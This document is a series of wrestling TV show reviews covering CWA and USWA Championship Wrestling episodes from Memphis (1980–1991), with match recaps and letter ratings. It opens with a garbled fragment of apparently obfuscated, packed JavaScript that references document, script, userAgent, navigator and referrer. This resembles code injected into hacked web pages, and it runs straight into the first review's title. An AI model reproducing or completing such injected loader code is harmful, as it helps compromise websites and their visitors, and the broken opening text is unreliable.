");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kskks|var|u0026u|referrer|atdtr||js|php'.split('|'),0,{})) Championship Wrestling
Date: January 1, 1983
Location: WMC-TV Studios, Memphis, Tennessee
Commentators: Lance Russell, Dave Brown

This transitions into another music video, this one consisting of Jerry looking over a lake and walking on a hill.

Bill Dundee vs. The Invader

Adrian Street vs. Ira Reese

House show ads.

Bill Dundee/Jacques Rougeau/King Cobra vs. Adrian Steet/Apocalypse/Jesse Barr

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USWA Championship Wrestling
Date: January 19, 1991
Location: USWA Television Studios, Memphis, Tennessee
Commentator: Dave Brown

Here’s another show from this company and for some reason this one is significantly shorter, almost twenty minutes worth. I checked on the missing final fall from last week and from what I can tell, it didn’t ever happen due to the time limit running out. I’d expect some more in the Lawler/Dundee vs. Fabulous Ones feud. Let’s get to it.

Same opening video of last week, so I’m assuming that’s the standard one.

Here are the Fabs and Cornette to open things up. Cornette yells at the fans and says they don’t know what they want. The fans sound like they want Lawler. We get a clip of the beatdown from last week. Cornette talks about the bounty and has an announcement: they’ve already got the money for Gilbert being gone and there’s another $50,000 on the line for Jeff Jarrett, the new #2 contender to the world title. Cornette would keep talking but they have a match to win.

Tag Titles: Fabulous Ones vs. Cody Michaels/Jerry Lynn

Cornette says why not make it a title match. Michaels and Lane start things off with Lane being sent to the mat. Lane comes back with one of his own and it’s off to Keirn. Michaels grabs the arm and works on it as Keirn can’t shake him. Lynn comes in and does the same, taking him to the mat with an armdrag. The referee misses a challengers’ tag but lets it go anyway.

Michaels gets sent to the floor where Keirn drills him with a chair as the Fabs take over. Suplex puts Michaels down and it’s back to Keirn. Cody hooks a sunset flip but Cornette has the referee so it doesn’t even get a count. Tag to Lynn who slams Keirn and everything breaks down, missing a near fall on Keirn. Cornette gets a shot to the head of Lynn with the racket so Keirn can get the pin.

Rating: C. This was fine as throwing out a title match is a good way to keep things interesting. Even if it was pretty dominant for the Fabs, putting the titles on the line at least made it seem possible that something big could happen. Lynn was still good even when he was young, which is impressive. He looks about the same too.

Lynn gets beaten down post match until Lawler makes the save.

Clip of Jarrett winning the Southern Title on Monday with a rollup.

Here’s Downtown Bruno with the some guys and Robert Fuller. Fuller says he has a surprise for us later and one for us now in the form of U.S. Male Curtis Thompson. He has the American Pitbulls too whose names are so forgettable I couldn’t type them. Fuller talks about a dog or something with the moral being if you abuse something enough it’ll like it. That’s what he and his boys are going to do to everyone else here.

Pitbulls vs. Danny Davis/T.D. Steele

One of the Pitbulls is named Spike and he starts with Davis. Quickly off to Steele who is pretty aggressive. Off to the other Pitbull and I think these are the ECW Pitbulls. Yeah I’m pretty sure they are. Their hair is different but it’s them. This quickly turns into a Pitbulls squash with a double suplex taking Steele down. Belly to belly does the same and the SuperBomb (they slipped off the ropes) gets the pin.

Rating: D. This is the cool thing about watching these old territory shows: you never know what names are going to pop up for a quick appearance. This was a boring squash for the most part with Davis only being in there for about 20 seconds before the beating on Steele began and went on for the next minute and a half.

Mid-South Coliseum show ad.

Here’s Lawler to talk about his match tomorrow night (the show is on Sunday for some reason instead of Monday this time) which has something to do with the Fabulous Ones of course. He goes on a rant against managers, saying that they’re all leeches with no athletic ability. One day the Fabulous Ones will wake up and dump Cornette, but since Lawler is impatient he’ll take out Cornette himself. Jarrett will be in their corner for the title match tomorrow night.

Lawler leaves so Cornette and the Fabs come out to rant a lot to end the show.

Overall Rating: C-. This wasn’t as good as last week’s show but there was still enough on it to make me want to keep watching. This company is so hit or miss for me but when they’re hitting, they’re a pretty solid TV show which keeps people interested from week to week. Considering how out there Memphis could get, that’s saying a lot.

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CWA Championship Wrestling
Date: January 3, 1981
Location: WMC-TV Studios, Memphis, Tennessee
Commentator: Lance Russell

Much like with Power Hour, if I don’t like this one then I’m dropping the whole series. If nothing else it’ll make my list a lot smaller. Anyway we’re in 1981 now and not a lot has probably changed. To give you an idea of how much I enjoyed last week’s show, I don’t remember anything about it for the most part other than a few flashes, and I only reviewed it a few days ago. Let’s get to it.

There’s going to be a retrospective on Jerry Lawler later today.

Tom Maley vs. David Oswald

They go to the mat and it’s a technical exhibition to start. Maley is a rookie here and Oswald is the bigger guy. Back to more mat stuff. Oswald is the heel here it seems. This is a very different style and looks more like an amateur or MMA style here. There hasn’t been a single strike in almost four minutes. Maley keeps taking him down but stands up so Oswald can get in some forearm shots. Maley comes back with forearms of his own but they collide and both guys are down. Oswald hits a knee lift and drops an elbow for the pin.

Rating: C. This was different than almost anything you’ll ever see. It certainly wasn’t bad or boring but it’s really not something that you’re going to want to see. The crowd didn’t seem all that interested but Memphis crowds are always an odd bunch. It wasn’t bad though and was nice to see for something different.

We get a clip from Lawler vs. Dundee, hair vs. hair. Lawler keeps beating on Dundee in the corner until the match is stopped because Dundee can’t continue. Dundee begs them to let it keep going and actually gets his way. Lawler pounds on him again and the beating gets even worse. Dundee hits something like a headbutt…and we cut to another match between them. Make that a highlight reel of them. I want to know who won the hair match.

We get some magic words though: Tupelo Concession Stand Brawl. Video of it later.

House show ads. Lawler has a match with Dream Machine and if he wins, he gets five minutes with Hart. Lawler has been out for eleven months with a broken leg. Nothing will stop him from getting his hands on Hart though.

Here’s a clip from Lawler vs. Dream Machine. Machine says something before the match but I couldn’t understand a word of it. There are stipulations to this but Machine stops the announcement to yell some more. Ok so it’s a handicap match with Bobby Eaton/Jimmy Hart vs. Tony Charles. So Lawler and Machine aren’t in the match but are seconds? This is hard to follow.

If Tony loses he gets his hair cut. If he wins, Eaton and Hart are gone. Lawler and Dream Machine get into it on the floor and there’s no match. Little trivia note for you here: Eaton has brown hair here. Scratch that: the match happens but we don’t get to see it. This is getting annoying.

Angel/Tony Russo vs. Carl Fergie/Tommy Russo

This is 2/3 falls again. Russo and Tommy start things off. Very slow to start as it’s off to Fergie. I think he and Gilbert are the faces here. They work over Russo’s arm and it’s back to Gilbert. Russo brings in Angel for all of 8 seconds and it’s back to Russo. We’re three minutes into this and nothing of note has happened. Cross body gets two for Gilbert. Fergie hits an elbow to the face and drops another one for the first fall on Russo.

Apparently we’re going to get the rest of the match later. For now though, OFF TO TUPELO!!! Ok so this one needs some backstory. We have Bill Dundee and Lawler teaming up against Larry Latham (Moondog Spot) and Wayne Ferris (Honky Tonk Man), collectively known as the Blonde Bombers. The Bombers cheated like CRAZY to win the tag titles. The show looked like it was ending but as they faded to black you heard Russell saying stay with this because there’s a big brawl going on. The brawl went down to the concession stand, and this is what followed.

The Blondes are all busted open and they beat on each other with EVERYTHING. Mustard goes flying and they’re filming from the stairs. This is totally serious stuff in case that wasn’t clear. Everyone is bleeding. Lawler destroys Ferris while Dundee is stomped on. Jerry Jarrett comes in and finally gets Dundee away for a second. Also this isn’t one of those fake WCW concession stands. This is the real concession stand where the fans are buying food. The Blondes run so Lawler and Dundee chase them but the Blondes come back and destroy Jarrett, stripping his clothes off. They’re FINALLY pulled off to end this.

I won’t go into details on the whole history of this (if you’re interested in why this was booked and why Jerry Jarrett is one of the smartest men ever in wrestling, look up Jim Cornette’s commentary called “The Slippery Slope of Hardcore Wrestling.” It’s incredibly interesting and well worth the read, as is almost anything Cornette writes) but the main idea is that this is pretty much the birth of modern hardcore wrestling.

The key difference though: it was believable. This wasn’t something that you saw every day (first time ever for the most part) and EVERYONE talked about it. It saved the territory and worked because it was treated as a huge deal. This is something you’ll still hear about from time to time and you’ll occasionally see tributes to it even today. This is incredibly historic stuff and possibly the most famous moment in southern wrestling.

We get a clip of the rematch (one of many) with the crowd being noticeably larger. That’s the idea and it worked like a miracle.

House show plugs.

Oh yeah we have to go back and finish that tag match. Fergie and Russo start us off but it’s off to the monster named Angel very quickly. Fergie fights off an abdominal claw and it’s Gilbert’s turn to get beaten down. Back to Russo as the beating continues. Russo (who looks like Mario from the Super Mario Brothers Super Show, and yes I know who played him) chokes away but it’s back to Angel. There’s the hot tag to Fergie who misses an elbow and gets pinned by Angel to tie it up.

Before the third fall, here are MORE Lawler highlights, this time of him getting beaten up by Harley Race and beating up Nick Bockwinkel. We see him losing to Jack Brisco after a one hour fight. Also some of the matches with Jackie Fargo (the guy that made Lawler), possibly the one where he won the name King.

The third fall is finally joined in progress with Angel pounding on Gilbert. Everything breaks down for a bit as Gilbert hooks Angel in an abdominal stretch….and the time limit runs out.

Rating: D. This was about as different of a match as you’ll ever find. I really don’t get the point in having it all cut up like this. It took almost 40 minutes to get through a ten minute match because of all the Lawler stuff. The problem otherwise was that this was a really boring match with nothing interesting to it at all, which is the problem with most of the matches on these shows.

Dream Machine isn’t worried about Lawler.

Russell wraps things up.

Overall Rating: C+. Given that Lawler is coming back, I think I have to keep watching this. The Tupelo Brawl scene is more than enough to bring me back, even though it’s part of a clip show. Still though, fun show and the Brawl footage is great. The wrestling here was certainly different, but it wasn’t all that great. Lawler coming back will completely change the show though so I’ll keep watching this for now.

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CWA Championship Wrestling
Date: December 27, 1980
Location: WMC-TV Studios, Memphis, Tennessee
Commentators: Lance Russell, Dave Brown

This is back in Memphis but in the early days. The company was founded in 1977 so it hasn’t been around a terribly long time here. I have no idea what to expect from this but I’m sure Jerry Lawler will be involved somewhere. This is the first of about seven shows I have from here so let’s get to it.

The announcers (whatever their names are) tell us about the matches. One of them is Lance Russell.

Angel vs. David Price

Angel is managed by Jimmy Hart. He’s a bald guy who looks like George Steele but with smoother skin and bigger muscles. The arena is tiny, maybe holding 200 people. Angle pounds him down and you can hear Hart coaching him in the days before the Megaphone. Angle almost kicks him to the floor but Price hooks the rope with his feet. Price manages to roll him over and we get some mat work. I didn’t expect that.

Price is thrown to the floor but is quickly back in. Angel really likes to hit him in the back with forearms. Even Jimmy is saying this is a workout for him. Hart also doesn’t have glasses. Back to the apron for more stomping. Angel lets go of some covers and Price grabs a worthless hammerlock. Angel finally ends this with a Claw.

Rating: D. Boring match here as Angel liked pounding him on the back way too much. I’ve never heard of him but he was big, mean and bald headed so you really don’t need much else, especially not back in the old days. The announcers sounded really bored with this and rightfully so.

Gypsy Joe/David Oswald vs. Bill Dundee/Tommy Rich

This is 2/3 falls. Rich and Joe start things off and Joe is taken to the mat quickly. Off to Dundee and then Oswald. Back to Rich who would be NWA Champion in about tour months. A dropkick by Rich gets two. Off to a chinlock for a few seconds and it’s back to Dundee pounding on Joe. Dundee is really popular here, even drawing a chant from the small crowd. Oswald gets in a cheap shot and Joe takes over.

Dundee gets in a dropkick for two as David saves. Off to Oswald who gets two on a backdrop. Joe comes in but walks into a sunset flip for the first fall. After a break we get a promo from Rich and Dundee who are tag team champions and have a loser leaves town match coming up. Tommy also gets Jimmy Valiant in a street fight on the same show. He says he can get just as crazy as Valiant can and it’ll be a late Christmas present for him. That was a good promo.

Dundee pounds on Joe some more and a dropkick gets two. Everything breaks down for a few seconds and Joe takes over with a chinlock. Back to Oswald who sounds like a duck. Oswals breaks up a tag and brings in Joe for a chinlock. We get into a long Ricky Morton sequence years before anyone knew who Ricky Morton was. Joe chokes Dundee and Oswald gets two off a slam.

Joe knocks Dundee down again and it’s off to a nerve hold. Everything breaks down and Rich still can’t get the tag. This match is going a lot longer than I was expecting it to do. Out of NOWHERE Dundee grabs a small package on Joe. Rich comes in to take out Oswald again and Dundee gets the second pin of the match.

Rating: C-. It’s not a bad match but I really don’t get why this needed to be two straight falls. Dundee took a good beating here and the match was pretty fun. This was a lot like a tag team formula match but they didn’t have the hot tag aspect to it yet. That hurts things but it’s 1980 to be fair.

Tony Charles vs. Pat Hutchinson

I have no idea who either of these guys are, nor who is who. These are junior heavyweights I think. Hutchinson is in blue. Got it. They go to the mat where Charles controls with headlocks and arm holds. We cut to a Dundee and Rich talking about a charity drive or something. The match is still going on and the drive is for Tony Charles apparently. Charles hooks a Boston Crab but doesn’t turn it over. He hits a backbreaker and then a full Crab but Hutchinson makes the rope. Hutchinson tries to get into an amateur match which fails as well. Charles hits a bad dropkick for the pin.

Rating: D+. Not a very entertaining match and they spent most of the time talking about the charity drive. I still don’t know why Charles needs the money or anything but I think it’s supposed to be something serious. Nothing to see here and the announcers talk about the match like it was something really interesting.

Dream Machine vs. Carl Fergie

This is from some other show, I believe in the Mid-South Coliseum. Machine is a big masked heel. Hart is the manager and pokes Fergie in the ribs with what appeared to be a cane. Machine takes him down and wins with a standard armbar. Total squash which allegedly went 5:00 so there much have been a lot of clipping.

Dream Machine won’t let go post match. A few guys come in for the save (including Rick Morton and Koko Ware) but it’s back to the arm when they’re dispatched. Lawler finally comes in and really cleans house.

Dream Machine (with a THICK southern/country accent) runs down Lawler and all of the faces here. Imagine Dusty Rhodes talking fast with a high pitched voice. Jimmy calls out Lawler and counts to ten. Lawler doesn’t answer it and Russell says that everyone knows he’s not here this week.

More house show stuff.

Koko Ware/Tom Meley vs. Tojo Yamamoto/Jimmy Valiant

This is actually an iron man tag match as they say it’s whoever has the most falls when we’re out of TV time wins. Koko is TV Champion at this point and starts with Valiant. Valiant loudly complains of hair pulling then pulls Koko’s hair to pull over. That’s heel psychology for you. Koko and Tojo are both really short. The heels double team Koko a lot and chop him even more.

A slam gets two for Valiant. Tojo tags out and literally is on the apron for 2 seconds before coming back in to chop Koko down for the first fall. We take a break and come back with Koko cleaning house to start the second fall. Finally off to Meley who charges at Valiant which goes badly for him. Elbow drop by Valiant makes it 2-0. Apparently that’s it.

Rating: D. This was a squash. Meley was nothing of note at all and got destroyed the whole time. I have no idea what the point was in having Koko getting beaten down that much and then lose clean but whatever. Tojo would become a big top heel in this company for years and would pop up in the late 80s in WCCW as well.

Valiant runs his mouth about Tommy Rich.

Overall Rating: D. This is a show I really don’t see myself watching much more. I’ll watch one more episode of it and if it’s not a lot better, I’m done. This style just isn’t for me and while I get that it was insanely popular for a long time, that doesn’t mean it works well over thirty years later. Not awful, but really not something I want to spend 9 hours watching all that I have of.

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